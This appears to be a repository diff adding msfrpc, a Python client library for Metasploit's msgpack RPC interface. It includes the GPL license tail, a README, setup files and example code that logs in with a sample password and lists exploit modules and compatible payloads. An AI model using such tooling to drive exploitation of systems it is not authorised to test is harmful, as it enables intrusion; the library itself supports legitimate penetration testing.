+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

msfrpc/PKG-INFO

@@ -0,0 +1,10 @@
+Metadata-Version: 1.0
+Name: msfrpc
+Version: 0.1
+Summary: Python MSF-RPC Bindings
+Home-page: http://www.trustwave.com
+Author: Ryan Linn
+Author-email: RLinn@trustwave.com
+License: GPLv3
+Description: UNKNOWN
+Platform: UNKNOWN

msfrpc/README

@@ -0,0 +1,91 @@
+=====================
+MSF-RPC Python Module
+Release Date: December 23, 2011
+Ryan Linn  <rlinn@trustwave.com>
+http://www.trustwave.com
+=====================
+-----------------------------------------------------
+A module for dealing with msgpack RPC with Metasploit
+-----------------------------------------------------
+
+
+Introduction
+============
+This module is designed to allow interaction with Metasploit msgrpc plugin to 
+allow remote requests and commands to be executed through scripts and programs. 
+In order to start the Metasploit msgrpc plugin to test this module, issue the 
+commands in msfconsole:
+
+	load msgrpc Pass=abc123
+
+Once the load message appears, you should be able to run these scripts.
+
+Using The Module
+================
+Creating a Msfrpc client instance
+--------------------------------
+To create a new instance of the client, you must import the msfrpc module, and 
+then create a new Msfrpc instance.  You can specify any number of options in a 
+dict form to the constructor which will allow any of the options such as host, 
+port or ssl to be modifled or enabled. An example of creating a new client is :
+
+	import msfrpc
+
+  
+  	  # Create a new instance of the Msfrpc client with the default options
+  	  client = msfrpc.Msfrpc({})
+
+Logging into Metasploit
+-----------------------
+Before any commands can be issued, you must authenticate into metasploit to do 
+this, use the login method of the new client and specify the username and 
+password to use.  The default user is always msf, and the password was specified
+either through the Pass option when we loaded the msgrpc module, or assigned by 
+default and presented to the screen.  To use the method we call the method with 
+the two arguments:
+
+	# Login to the msfmsg server using the password "abc123"
+	client.login('msf','abc123')
+
+Executing API Calls
+-------------------
+The call method allows us to call API elements from within Metasploit that are 
+surfaced through the msgrpc interface.  For the first example, we will request 
+the list of all exploits form the server.  To do this, we call the 
+module.exploits function.
+
+	# Get a list of the exploits from the server
+	mod = client.call('module.exploits')
+
+The information returned from the call is a dict containing the list of modules 
+under the key modules. If we wanted to take the first of those modules, and then
+find all of the payloads that were compatible, we could call the 
+module.compatible_payloads method to find the payloads compatible with our 
+exploit.  In this case, if more than one option is required a list of options are
+passed.  The compatible_payloads method requires one argument: the exploit to get
+more information about.
+  
+	# Get the list of compatible payloads for the first option
+	ret = client.call('module.compatible_payloads',[mod['modules'][0]])
+
+The ret in this case contains a dict of payloads, which can be enumerated. The 
+full example can be found under the examples directory.  
+
+Copyright
+=========
+MSFRPC - A module for dealing with msgpack RPC with Metasploit
+Ryan Linn
+Copyright (C) 2012 Trustwave Holdings, Inc.
+ 
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+ 
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>

msfrpc/build/lib.linux-x86_64-2.7/msfrpc.py

@@ -0,0 +1,87 @@
+#! /usr/bin/env python3
+# MSF-RPC - A  Python library to facilitate MSG-RPC communication with Metasploit
+# Ryan Linn  - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com
+# Copyright (C) 2011 Trustwave
+# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+import requests
+import msgpack
+
+class Msfrpc:
+
+  class MsfError(Exception):
+    def __init__(self,msg):
+      self.msg = msg
+    def __str__(self):
+      return repr(self.msg)
+
+  class MsfAuthError(MsfError):
+    def __init__(self,msg):
+      self.msg = msg
+  
+  def __init__(self,opts=[]):
+    self.host = opts.get('host') or "127.0.0.1"
+    self.port = opts.get('port') or "55552"
+    self.uri = opts.get('uri') or "/api/"
+    self.ssl = opts.get('ssl') or False
+    self.token = None
+    self.headers = {"Content-type" : "binary/message-pack"}
+
+  def encode(self, data):
+    return msgpack.packb(data)
+
+  def decode(self, data):
+    return msgpack.unpackb(data)
+
+  def call(self, method, opts=[]):
+    if method != 'auth.login':
+      if self.token == None:
+        raise self.MsfAuthError("MsfRPC: Not Authenticated")
+
+    if method != "auth.login":
+      opts.insert(0, self.token)
+
+    if self.ssl == True:
+      url = "https://%s:%s%s" % (self.host, self.port, self.uri)
+    else:
+      url = "http://%s:%s%s" % (self.host, self.port, self.uri)
+  
+
+    opts.insert(0, method)
+    payload = self.encode(opts)
+
+    r = requests.post(url, data=payload, headers=self.headers)
+
+    opts[:] = [] #Clear opts list
+    
+    return self.decode(r.content)
+
+  def login(self, user, password):
+    auth = self.call("auth.login", [user, password])
+    try:
+      if auth[b'result'] == b'success':
+        self.token = auth[b'token'].decode('utf8')
+        return True
+    except:
+      raise self.MsfAuthError("MsfRPC: Authentication failed")
+
+if __name__ == '__main__':
+  
+  # Create a new instance of the Msfrpc client with the default options
+  client = Msfrpc({})
+
+  # Login to the msfmsg server using the password "abc123"
+  client.login('msf','abc123')
+
+  # Get a list of the exploits from the server
+  mod = client.call('module.exploits')
+  
+  # Grab the first item from the modules value of the returned dict
+  print("Compatible payloads for : %s\n" % mod['modules'][0])
+  
+  # Get the list of compatible payloads for the first option
+  ret = client.call('module.compatible_payloads',[mod['modules'][0]])
+  for i in (ret.get(b'payloads')):
+    print("\t%s" % i)

msfrpc/build/lib/msfrpc.py

@@ -0,0 +1,87 @@
+#! /usr/bin/env python3
+# MSF-RPC - A  Python library to facilitate MSG-RPC communication with Metasploit
+# Ryan Linn  - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com
+# Copyright (C) 2011 Trustwave
+# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+import requests
+import msgpack
+
+class Msfrpc:
+
+  class MsfError(Exception):
+    def __init__(self,msg):
+      self.msg = msg
+    def __str__(self):
+      return repr(self.msg)
+
+  class MsfAuthError(MsfError):
+    def __init__(self,msg):
+      self.msg = msg
+  
+  def __init__(self,opts=[]):
+    self.host = opts.get('host') or "127.0.0.1"
+    self.port = opts.get('port') or "55552"
+    self.uri = opts.get('uri') or "/api/"
+    self.ssl = opts.get('ssl') or False
+    self.token = None
+    self.headers = {"Content-type" : "binary/message-pack"}
+
+  def encode(self, data):
+    return msgpack.packb(data)
+
+  def decode(self, data):
+    return msgpack.unpackb(data)
+
+  def call(self, method, opts=[]):
+    if method != 'auth.login':
+      if self.token == None:
+        raise self.MsfAuthError("MsfRPC: Not Authenticated")
+
+    if method != "auth.login":
+      opts.insert(0, self.token)
+
+    if self.ssl == True:
+      url = "https://%s:%s%s" % (self.host, self.port, self.uri)
+    else:
+      url = "http://%s:%s%s" % (self.host, self.port, self.uri)
+  
+
+    opts.insert(0, method)
+    payload = self.encode(opts)
+
+    r = requests.post(url, data=payload, headers=self.headers)
+
+    opts[:] = [] #Clear opts list
+    
+    return self.decode(r.content)
+
+  def login(self, user, password):
+    auth = self.call("auth.login", [user, password])
+    try:
+      if auth[b'result'] == b'success':
+        self.token = auth[b'token'].decode('utf8')
+        return True
+    except:
+      raise self.MsfAuthError("MsfRPC: Authentication failed")
+
+if __name__ == '__main__':
+  
+  # Create a new instance of the Msfrpc client with the default options
+  client = Msfrpc({})
+
+  # Login to the msfmsg server using the password "abc123"
+  client.login('msf','abc123')
+
+  # Get a list of the exploits from the server
+  mod = client.call('module.exploits')
+  
+  # Grab the first item from the modules value of the returned dict
+  print("Compatible payloads for : %s\n" % mod['modules'][0])
+  
+  # Get the list of compatible payloads for the first option
+  ret = client.call('module.compatible_payloads',[mod['modules'][0]])
+  for i in (ret.get(b'payloads')):
+    print("\t%s" % i)

msfrpc/examples/test.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+# MSF-RPC - A  Python library to facilitate MSG-RPC communication with Metasploit
+# Ryan Linn  - RLinn@trustwave.com
+# Copyright (C) 2011 Trustwave
+# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+
+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+import msfrpc
+
+if __name__ == '__main__':
+  
+  # Create a new instance of the Msfrpc client with the default options
+  client = msfrpc.Msfrpc({})
+
+  # Login to the msfmsg server using the password "abc123"
+  client.login('msf','abc123')
+
+  # Get a list of the exploits from the server
+  mod = client.call('module.exploits')
+  
+  # Grab the first item from the modules value of the returned dict
+  print "Compatible payloads for : %s\n" % mod['modules'][0]
+  
+  # Get the list of compatible payloads for the first option
+  ret = client.call('module.compatible_payloads',[mod['modules'][0]])
+  for i in (ret.get('payloads')):
+    print "\t%s" % i
+

msfrpc/msfrpc.py

@@ -0,0 +1,87 @@
+#! /usr/bin/env python3
+# MSF-RPC - A  Python library to facilitate MSG-RPC communication with Metasploit
+# Ryan Linn  - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com
+# Copyright (C) 2011 Trustwave
+# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+import requests
+import msgpack
+
+class Msfrpc:
+
+  class MsfError(Exception):
+    def __init__(self,msg):
+      self.msg = msg
+    def __str__(self):
+      return repr(self.msg)
+
+  class MsfAuthError(MsfError):
+    def __init__(self,msg):
+      self.msg = msg
+  
+  def __init__(self,opts=[]):
+    self.host = opts.get('host') or "127.0.0.1"
+    self.port = opts.get('port') or "55552"
+    self.uri = opts.get('uri') or "/api/"
+    self.ssl = opts.get('ssl') or False
+    self.token = None
+    self.headers = {"Content-type" : "binary/message-pack"}
+
+  def encode(self, data):
+    return msgpack.packb(data)
+
+  def decode(self, data):
+    return msgpack.unpackb(data)
+
+  def call(self, method, opts=[]):
+    if method != 'auth.login':
+      if self.token == None:
+        raise self.MsfAuthError("MsfRPC: Not Authenticated")
+
+    if method != "auth.login":
+      opts.insert(0, self.token)
+
+    if self.ssl == True:
+      url = "https://%s:%s%s" % (self.host, self.port, self.uri)
+    else:
+      url = "http://%s:%s%s" % (self.host, self.port, self.uri)
+  
+
+    opts.insert(0, method)
+    payload = self.encode(opts)
+
+    r = requests.post(url, data=payload, headers=self.headers)
+
+    opts[:] = [] #Clear opts list
+    
+    return self.decode(r.content)
+
+  def login(self, user, password):
+    auth = self.call("auth.login", [user, password])
+    try:
+      if auth[b'result'] == b'success':
+        self.token = auth[b'token'].decode('utf8')
+        return True
+    except:
+      raise self.MsfAuthError("MsfRPC: Authentication failed")
+
+if __name__ == '__main__':
+  
+  # Create a new instance of the Msfrpc client with the default options
+  client = Msfrpc({})
+
+  # Login to the msfmsg server using the password "abc123"
+  client.login('msf','abc123')
+
+  # Get a list of the exploits from the server
+  mod = client.call('module.exploits')
+  
+  # Grab the first item from the modules value of the returned dict
+  print("Compatible payloads for : %s\n" % mod['modules'][0])
+  
+  # Get the list of compatible payloads for the first option
+  ret = client.call('module.compatible_payloads',[mod['modules'][0]])
+  for i in (ret.get(b'payloads')):
+    print("\t%s" % i)

msfrpc/setup.py

@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+# MSF-RPC - A  Python library to facilitate MSG-RPC communication with Metasploit
+# Ryan Linn  - RLinn@trustwave.com
+# Copyright (C) 2011 Trustwave
+# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+
+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+from distutils.core import setup
+
+setup(name='msfrpc',
+      version='0.1',
+      description='Python MSF-RPC Bindings',
+      author='Ryan Linn',
+      author_email='RLinn@trustwave.com',
+      url='http://www.trustwave.com',
+      license='GPLv3',
+      py_modules=['msfrpc'],
+     )